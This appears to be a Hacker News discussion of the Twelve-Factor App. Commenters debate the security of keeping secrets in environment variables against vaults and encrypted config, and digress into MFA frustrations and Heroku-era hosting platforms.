For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)
Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
Confidently wrong. Did you read the source I linked?
> The twelve-factor app stores config in environment variables
The vault of the cloud provider would just inject the value of the environment variable securely so it doesn't have to be stored on-disk. What the parent poster wrote isn't wrong.
The parent poster is wrongly quoting me to say the original post doesn't mean “env var”. Yes, it does mean env var.
No, they are not stored permanently on disk according to 12f. They are only injected for the lifetime of the application and destroyed when stopped.
It's not okay to store your secret on your own machine disk's .bashrc forever.
It seems we're in agreement anyway.
> "The environment" is not "environment variables" and not ".env files"
Is there confusion because an extra “not” leaked in?
Firmly agree. A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment read access.
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
I feel like people just think they should be doing all sorts of complicated stuff, and if they're not, they're somehow slacking off on security. You used to see the same thing with password hashes where people would write paragraphs about how they have salts and peppers and spices, passionately arguing for the necessity of each.
At the point where you're encrypting secrets in resident memory in a normal server program, you have gone fully into saffron-grade security. If you're worried about leaking secrets in your environment, overwrite the environment variable data and be done with it. In reality, if this is a real concern, unsetenv(3) is probably enough to avoid the actual attack vector --- a vulnerability where you leak environment variables qua environment variables (because you shell out or something).
Whatever vulnerability you're positing that leaks a secret out of arbitrary resident memory also leaks whatever secret you'd use to encrypt, and now you're not building a security system, you're building a DRM scheme. Don't let me yuck your yum on that, but: not a good ROI for security.
You're not wrong. My gripes above aren't a tacit accusation everyone is slacking off on security. I just wish we had standardized on better tools than env variables to make secrets a little more secure by default without requiring complicated stuff. But life goes on, most locks are more pickable than they should be, etc.
I do quibble with the statement that
> unsetenv(3) is probably enough to avoid the actual attack vector
It's not, because it doesn't modify the environment block of the process. Even if you use unsetenv, you're one path-traversal vuln away from folks being able to read all your startup-time secrets out of /proc/self/environ. Similar is true for exploits that can read process memory in small chunks: it takes time and risks detection to e.g. crawl around the stack/heap of who-knows-what-language to find interesting variables, but it's a lot easier to grab whatever's at the top of the stack by address (the env blob, which I think is also unmodified by most unsetenv(3) implementations). Path traversals and small-arbitrary-read exploits aren't exactly uncommon, and environment variables are the wp-admin/admin.php of exploit targets.
That's a quibble; you're broadly right, and that risk's not nearly severe enough to torture your code or bring in caching + encrypting runtime secret stores or whatnot.
I just wish env had been implemented without a /proc view and with reads requiring a cheap syscall rather than memory-residence, you know? Yeah, it's pointless to speculate about, but still seems like an obviously-preferable-in-retrospect road not taken.
"saffron-grade security" is pretty good, too.
Even putting secrets aside, the environment is a crappy place for config data.
It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.
The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
100% this.
1. Keep secrets in a dedicated secrets store.
2. Read directly from the secrets store in application code. There is no environment, there are no environment variables. Yes, even on local.
It's pretty normal to keep secrets in a dedicated secret store, and then have the service launcher inject them from the secret store into the environment.
normal indeed but not what i'd consider a best practice anymore. we've moved away from any secrets in the env after the typical secrets leak when secrets popped up in some debug logging that hit datadog.
we now have a secret cache layer api and the app loads secrets securely at time of use from that api. there's also no secret-0 problem because we use IAM auth when calling the cache.
edit: for those wondering, api response time is sub 1ms (rust!)
Just to clarify - for every seperate read, update or write to your database - you setup and teardown a new connection?
Your iam token is just a secret by another name. Sure it's more automated but theres no avoiding secret0.
Well you’ll need to know the path in the secret store, so store the path in the environment.
Disagree, partially.
Buy-into storing credentials into environment variables.
Then, and this is important - MANAGE YOUR ENVIRONMENTS.
You shouldn't have prod level s3, or aws creds accessible openly in your environment. If someone can steal those values, they can steal the code, and pretty much everything else. This is very bad.
For prod (and possibly staging), use a lib that loads in values securely from an actual secrets service.
Yeah, secrets should be fetched by application code from a secret store (aws secrets manager, vault, etc) using an identity. Put in a pull request.
This is the beauty of sOps. Store the secrets in the code, but store the keys in AWS SM and have sOps do the work. Works great with Instance Profiles or IRSA.
I’d speculate that this was a product of its time (early Heroku days), and that a goal at the time was to get secrets out of source control. Which was an antipattern way back then.
Times have changed since then, and there’s much better tooling available to help with this problem space and surface area these days.
It's still completely correct. You don't have to use environment variables to store the environment. It can be stored in a secrets management system and loaded on-demand.
The point is that you must keep secrets, and anything environment-specific, out of the code. Follow the spirit of the law, not the letter.
I wonder what alternative methods people use nowadays that are good enough but still simple and lightweight ? secret management services have its own place but not everyone have those available.
Ironically agents F'IN LOVE using dotenv for config but really struggle with sOps (as of Opus 4.6; maybe its better now).
I was a massive fan of dotenv but sOps is so much cleaner, easy enough to use and works well enough in k8s.
The take still holds, although it is a bit more nuanced than it seems at first. 12 Factor was written by the founders of Heroku, for context, and that's exactly how Heroku worked. The app code would be submitted into a system, and run in a pre-container era container-ish environment where any instance specific data would be supplied as environment variables.
This is actually in place in most hosting providers today - don't know if Heroku does it, but many others like Vercel and Fly will also encrypt your secret env vars and decrypt and inject them only at the last minute.
AWS itself has something similar with its secrets manager. Even in the absence of credentials, like using role based IAM when running on EC2, it probably makes sense to note that the code must access credentials by hitting a local-only metadata server - and of course this is available only when running on EC2.
For other secret like payment processor tokens, etc, there's you do need to store secrets somewhere.
Putting secrets in plaintext in the files on the execution platform is of course a problem - but that's not a problem in the 12 Factor idea - it's a security lapse in the design and architecture of the platform that is supposed to be running your 12 Factor app, if that makes sense.
It’s a terrible pattern, but one that is simply entrenched. Pretty much everything treats .env as if it’s /etc/shadow now.
I would prefer to see secrets from .env not actually splattered in the environment but processed/read on demand, and there are indeed libraries to do that.
I'm the creator of Node dotenv and I gave this a lot of thought a couple years back. I put together a whitepaper on this. Ultimately your secrets do still have to hit your environment. But at-rest they should be split from the environment. Today I think that is encrypting your .env file and keeping the decryption key separate. Bring the decryption key only at runtime inside your environment.
https://dotenvx.com/whitepaper.pdf
I really thought this would be a 12 layer MFA demo showing the absurdity of our current painful & unsustainable MFA trends.
Every time I leave my phone in the other room to “finally get some work done”, please enter this goddamn number we sent to your SMS, and I close my laptop.
My work uses “okta verify” for everything which is very helpful, as I can sue my work PC as a trusted device or fall back to a yubikey if not. 100x better than random SMS
The most obnoxious aspect of that: I specifically have my texts accessible on my laptop, but some 2fa authentication texts get blocked via that mechanism in favor of a message saying "look at this message on your phone".
That drives me crazy. The RBC app does this although it eventually times out and gives me the number.
Gets worse. A lot of accounts were set up by my boss so it's all his 2FA. Then some of these require the phone to scan a QR-Code. We work remotely.
The worst part is: why are they sending me an SMS when I never agreed to it and didn’t configured that as an MFA option?
I used to solve this with the Authy desktop app, now discontinued. I firmly believe MFA shouldn’t live in your password manager (what’s the point of MFA, then?). Thoughts on MFA options?
Okay so this may sound odd but this is literally my whole life right now...
Can you explain why do you feel MFA is painful/unsustainable? How would you fix it?
We should return to physical metal keys that are unique to unlock the computer.
The problem is the "M." Anything beyond a single factor is unnecessarily painful. Make the single factor good (passkeys or FIDO2 or whatever) and the problem is solved without "M."
Google pushes "password" down 2 layers of their interface. If you really want to use a password to authenticate, it's not always a first class citizen.
Both Google and Microsoft call their apps Authenticator, so two identically named apps on my iPhone distinguishable only by logo.
Furthermore, if you login to 20 things a day (which I do), the codes are going to these apps, SMS, and email. Each different.. so if I'm on my Linux box, my Watch doesn't really help. If I leave my phone in the other room, I can't use the apps to get the code without going to the other room. If multi-tasking is expensive for the brain and attention, MFA is the computing surface equivalent.
You may have built a great MFA workflow, but I have to live with 3-10 variations of workflows all day long, including puzzles. And it's more aggravating when I have to MFA to your service to get my information. My machine is in my house and nobody's been in my house but every_single_login requires me to pretend that in every moment of every day someone may have stolen my laptop and my finger.
My work machine will let me auth with my fingerprint, but the typical enterprise integration of all the things means I still have to click through 3-4 screens to get to where the fingerprint is accepted.
Services and APIs don't MFA.. they have keys and other restrictions for seamlessness. Where's the seamlessness solution for humans?
Passkeys are cool, but they're not ubiquitous enough yet, and the interface between desktop and mobile (even using 1Password for universal passkeys) wouldn't qualify as solved in my book.
MFA as whack-a-mole UI sucks.
Personally I hate when I use a passkey but then still get hit with an SMS second factor step. A passkey should be enough, unless I'm changing my recovery email or withdrawing a million dollars or something. Also there's still a lot of really bad UX around passkeys, both by browser/OS vendors and by individual apps, and unimplemented features like sharing.
Passkeys are the right thing but they need more work.
The worst part is: why are they sending me an SMS when I never configured that as an MFA option?
I totally believe that someone has gotten it this wrong, but personally I've never seen an SMS 2FA on a Passkey authentication. My most common Passkey complaint is that a service doesn't support them yet.
> painful & unsustainable MFA trends.
This very web-forum was a very big proponent of those politics a few years ago.
Heroku seemed like it was going to be the future back then. Every time I find myself struggling to understand some nonsense in Azure I dream of the simpler future we lost.
I've got to give credit where it is due... It really feels like Laravel Cloud picked up where Heroku left off. Or at least is trying to.
They got painfully expensive and then acquired. I still remember the arguments with clients and finally went all in AWS ECS, which is still quite pricey but clients seem to complain less about the Amazon bill then they did about Heroku.
Other than the pricing, for something built for simplicity, i always found their config method bit weird. Maybe it's just me b/c I first learned the aws stack, and got tired of managing EKS
Fly.io brings back some of that easy of deploy.
Yep, agreed. Fly.io is the closest to Heroku that I’ve found.
Caprover for me, but fly.io is pretty cool, reminds me of flynn.io
Especially the pricing is equally joyous.
Give Cloud Run a try if you haven't. It's basically serverless done right.
Azure Container Apps is very similar to Cloud Run if you can't use GCP
I tried to use this the other day and found out they still don’t support arm64 :(
Somehow ECS does though… tradeoffs everywhere I look have made me dizzy.
Sucks that it didn't become that. "heroku up" or "cf push" (Heroku kind of sort of invented build packs) was hella addictive.
Shoot, I'm sad that Docker didn't become the way to run containers. compose/swarm is still light years easier than Kubernetes
I guess Heroku ran so that Vercel could fly?
Yeah I don't see a reason to use k8s if not on cloud, and k8s on cloud is even more complex. Compose is still the right size for one box, that one command does all was really nice to have
Its interesting how this felt so natural and right way to do software. I remember people referencing it as the north star. And then gradually people came close to it but moved past it. Personally I feel that these concepts require to have generalist mindset aka application architect. What we have as of today are lot of product engineers within teams, product managers and management. The product engineers do not always have enough leverage or incentives to push for these kind of concepts.
And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.
I don't know. I've seen lots of "architects" conceptualizing just overly complex structures.
Idk I still think it's a great way to ship software
Title should read (2011)
https://news.ycombinator.com/from?site=12factor.net
.env as we know is full of problems... BUT! check out varlock (https://varlock.dev) - it's free and open source, and we have really modernized and adapted the familiar syntax (a small DSL on top) to make it much better.
Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.
I think the idea to use the environment is misguided in general.
The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
I won't disagree that it comes with security tradeoffs and depending on the situation it can definitely be a problem. But in many cases with how people deploy lots of software - most PaaS and things like lambdas / cloudflare workers, etc - it's absolutely fine. With varlock, we can even swap out the secret delivery mechanism at the end - but you still get a schema and familiar interface for how it all works.
Very good discussion on III. Config or the use of environment variables for config.
For the sake of discussion I'd share an argument against X. Dev/Prod parity
https://www.sc.com/engineering/blogs/Technology/development-...
I do not fully agree with the author and I think the author is reaching a bit hard because in my reading Twelve-Factor App X does not argue for complete parity. My reading is that whatever the app is interfacing should be kept as similar as possible.
that link 404's :(
You have to enjoy this article from the perception of its time.
For example #1, the idea of a central codebase + many deploys was not always the way folks did things lol.
The (2025) date must not be correct…
It's not this came out in 2012 when Heroku was The Way to run SaaS apps
I was confused at first, thinking this was going to be an updated version of the original.
Good best practices, mostly, but I feel the 12FA model totally punted on state by defining it out of scope: "state is over there in that external service, three-monkeys-emoji".
Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.
State is always the entire point.
I can't believe how old this is and I feel like most devs still haven't internalized this which is a shame.
Is it devs that haven't internalized this? Or management? Because I'd love to do this, but I always report to people who demand that everything be done in "a few days".
Unfortunately if you don't start out building the application from these principles, the tech debt piles up, and then it's hard to recover.
Pass the word!
I hired about 50 software interns and junior in the past 5 years. None had ever heard of it before I told them.
Now they'll never need to now that they have agents
How is this only from 2025? I thought this was a thing back in 2015
It's even older the page says "Last updated 2017" and the repo goes back to 2011, and in fact see HN discussion from November 2011: https://news.ycombinator.com/item?id=3267187
I haven't checked the 12 factors for a while but feel proud to have worked on systems probably for a long old while where most or all have applied. To the point I'd naturally do these things without consciously thinking.
I think that says a lot about good practices spreading than anything else. To not do these things: maybe a startup moving fast, or a very isolated company or just some old legacy COBOL type thing where you want the thing to still work as the main concern.
https://news.ycombinator.com/item?id=37862016
> Related:
> Ask HN: Is 12factor.net Still Relevant? - https://news.ycombinator.com/item?id=36283702 - June 2023 (6 comments)
> 12 Factor App Revisited - https://news.ycombinator.com/item?id=33164407 - Oct 2022 (7 comments)
> Twelve-factor app anno 2022 - https://news.ycombinator.com/item?id=31225921 - May 2022 (35 comments)
> The Twelve-Factor App (2011) - https://news.ycombinator.com/item?id=31198956 - April 2022 (102 comments)
> Twelve-factor app development on Google Cloud - https://news.ycombinator.com/item?id=21415488 - Nov 2019 (63 comments)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=19947507 - May 2019 (3 comments)
> 12 Factor CLI Apps - https://news.ycombinator.com/item?id=18172689 - Oct 2018 (247 comments)
> 12 factor app configuration vs. leaking environment variables (2014) - https://news.ycombinator.com/item?id=15869436 - Dec 2017 (2 comments)
> Ask HN: Alternative to Heroku that doesn't enforce 12-factor - https://news.ycombinator.com/item?id=10628961 - Nov 2015 (1 comment)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=10288216 - Sept 2015 (3 comments)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=9492120 - May 2015 (2 comments)
> Twelve-Factor Applications with Consul - https://news.ycombinator.com/item?id=7780249 - May 2014 (2 comments)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=7547687 - April 2014 (1 comment)
> Building Twelve Factor Apps on Heroku - https://news.ycombinator.com/item?id=6219444 - Aug 2013 (1 comment)
> 12 Factor model for architecting SaaS applications - https://news.ycombinator.com/item?id=6060381 - July 2013 (1 comment)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=5979452 - July 2013 (1 comment)
> 12factor: Methodology for Building Software-as-a-Service Apps - https://news.ycombinator.com/item?id=4027026 - May 2012 (1 comment)
> Twelve Factors of Web Application Development - https://news.ycombinator.com/item?id=3267187 - Nov 2011 (37 comments)
> I. Codebase (https://12factor.net/codebase)
> Multiple apps sharing the same code is a violation of twelve-factor.
I never understood why the 12 factor app is against monorepos. It seems completely orthogonal to the contract between an application and its execution platform, which if I understand correctly, is the main point of 12 factor.
I still point to this document as the base of DevOps. Most people I work with in IT never read it. If you want to do proper DevOps these are a requirement not optional. Last time I pointed someone to this site was last week.
I'm debating the tradeoff for secret management in my app as well. Storing it is easy you just need encryption and it's mostly good. But delivering it is tricky. Delivery via env is simple for sure but can get leaked. The other route would be a job scoped signature, but this doesnt stop the job from printing the secret out, it only shrinks the blast radius.
But if you delete the secret after the job is done or deployment is up, it's pretty much the same result
> X. Dev/prod parity > Keep development, staging, and production as similar as possible
Gets interesting at the seams of software & data environments. If my preprod stack operates independently of my prod stack (due to different internal users), but preprod data stack is best tested on prod data, the seams of these two things imply there should be a separate data stack for both preprod data versus preprod-internal.
Generally pro 12-FA, but it's very service dev oriented.
I know an e-commerce company where the staging environment was completely hijacked by product managers to "stage" their data. They've even convinced management to ask IT to build a tool for migrating data from staging to production. All of this just to avoid building a proper release flow for (product-)data.
Still relevant.
Every time it gets posted I read through the list and think "export services via port binding… of course a web server binds to a port, of course it‘s decoupled that way, what else would you do" and "treat backing services as attached resources… huh, is that really only about not linking in a database, but connecting using a JDBC string, for example?"
So let me ask for once: what am I missing? Why is that interesting and not trite?
I think backing services as attached resources was opposed to the practice of having your DB, and cache, and whatnot managed and maintained by a completely separate team and not really treated as part of the application. Even the schema changes.
The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common.
edit:
I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes.
https://12factor.net/backing-services
I think you gotta look back to how web servers worked before containers.
> Why is that interesting and not trite?
The same reason many older films seem cliche - because they were the first to do it, and it's accepted standard now. Heroku very much shaped how we think of "cloud applications", autoscaling, and containerization.
If you go far enough back in time (this dates back to at least 2011), it's arguing against things like:
For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world.
For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally.
The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on.
They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.
Doctors didn't wash their hands between inspecting corpses and doing surgery.
Drivers protested against seat belts that would save their own lives.
Times change and hindsight is 20/20. Let's just say 10 years ago I worked at a company that broke all 12 factors.
I appreciate you giving those examples, I was searching for something like that, seat belts in particular were controversial to a degree that is absolutely difficult to imagine these days, I think, even having lived through it as a kid.
In older architectures you would expose services as libraries and everything ran in one UBER process… eg JBoss and ASP.. it also covered off on web server processing like cold fusion and php.
This is way older than 2025, no?
I love it how this is still at thing. Good principles never die, just like good music I guess.
> X. Dev/prod parity Keep development, staging, and production as similar as possible
Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.
I know that all of this is super relevant, but it's extremely aspirational, and I can pick apart pretty much every one of these factors on how it doesn't fully hold up when it comes to the reality of production applications.
Of course you can, but it's still a really great collection of good practices that lead you to a better place than if you didn't to do any of it.
Principles are by definition aspirational. The idea, I'd say, is to always have them in mind and get as close to them as possible.
I know large Fortune 500 companies with 10,000 apps that follow it pretty religiously.
Yeah this is good stuff. Shocked to click around the site and find Intuit [working to follow] it. Today they get a nod.
Tomorrow it's back to wondering why they needed 10 GUI revisions and a 65% price hike in the past year alone.
[palms forehead; returns to coffee + codebase]
How did you see a connection to Intuit? I believe this originated from Adam Wiggins, cofounder of Heroku - acquired by Salesforce.
While this is and has always been outstanding advice, be aware different readers tend to comprehend that advice differently. Make sure you understand your approach moving forward; do further research and hold discussions with seniors.
Note that at the bottom of a page is a "Download ePub Book" link, <https://12factor.net/12factor.epub>.
I was really hoping this would be about 12-factor authentication
I'm not sure where the (2025) in the title comes from, but this has been around much longer than that.
+1. I saw the 2025 suffix and fact that it was on the original domain and hoped they released a v2 to carry us through the world of Platform Engineering, Observability 2.0, Kubernetes vs Serverless, etc.
2011 according to the earliest post on HN
Heroku updated it in 2025.
I don't understand why I'm not seeing a single comment here regarding the fact that web apps are mostly a piece of shit performance and usability wise.
Used to follow this to a T. Love 12factor, evangelized it at a lot of companies too
I read this 6 years ago. I’m glad to see this again
Oh! That's a term I have not heard in a long time!
Ah memories. Adam Wiggins, Heroku. Great marketing. IMHO to some extend not only best practices, but also limitations of the platform they had built.
Interesting to see that also this now copyright by Salesforce.
Imperfect but certified classic
need something better than the .env honeypot in this AI age. but idk what that might be
You can use ephemeral filesystem mounts[1]
[1]: https://forcesunseen.com/blog/stop-storing-secrets-in-enviro...
When people ask me what my religious beliefs are, this is what I respond with.
2025?
True, it first appeared around 2011
Heroku made some updates in 2025
What updates were these?
There is a GitHub repo with updates: https://github.com/twelve-factor/twelve-factor
twelfth repost
It’s always new for someone…
https://xkcd.com/1053/
Storing config in environment variables is just such an incredibly obviously awful thing to do I can't recommend that anyone listens to this advice. Maybe some of the other things are good practice... honestly I don't remember... but once I saw that I immediately noped out.
Would you get advice from an antivaxxer? Like, maybe they do have good advice but it's still a good idea to get your advice elsewhere!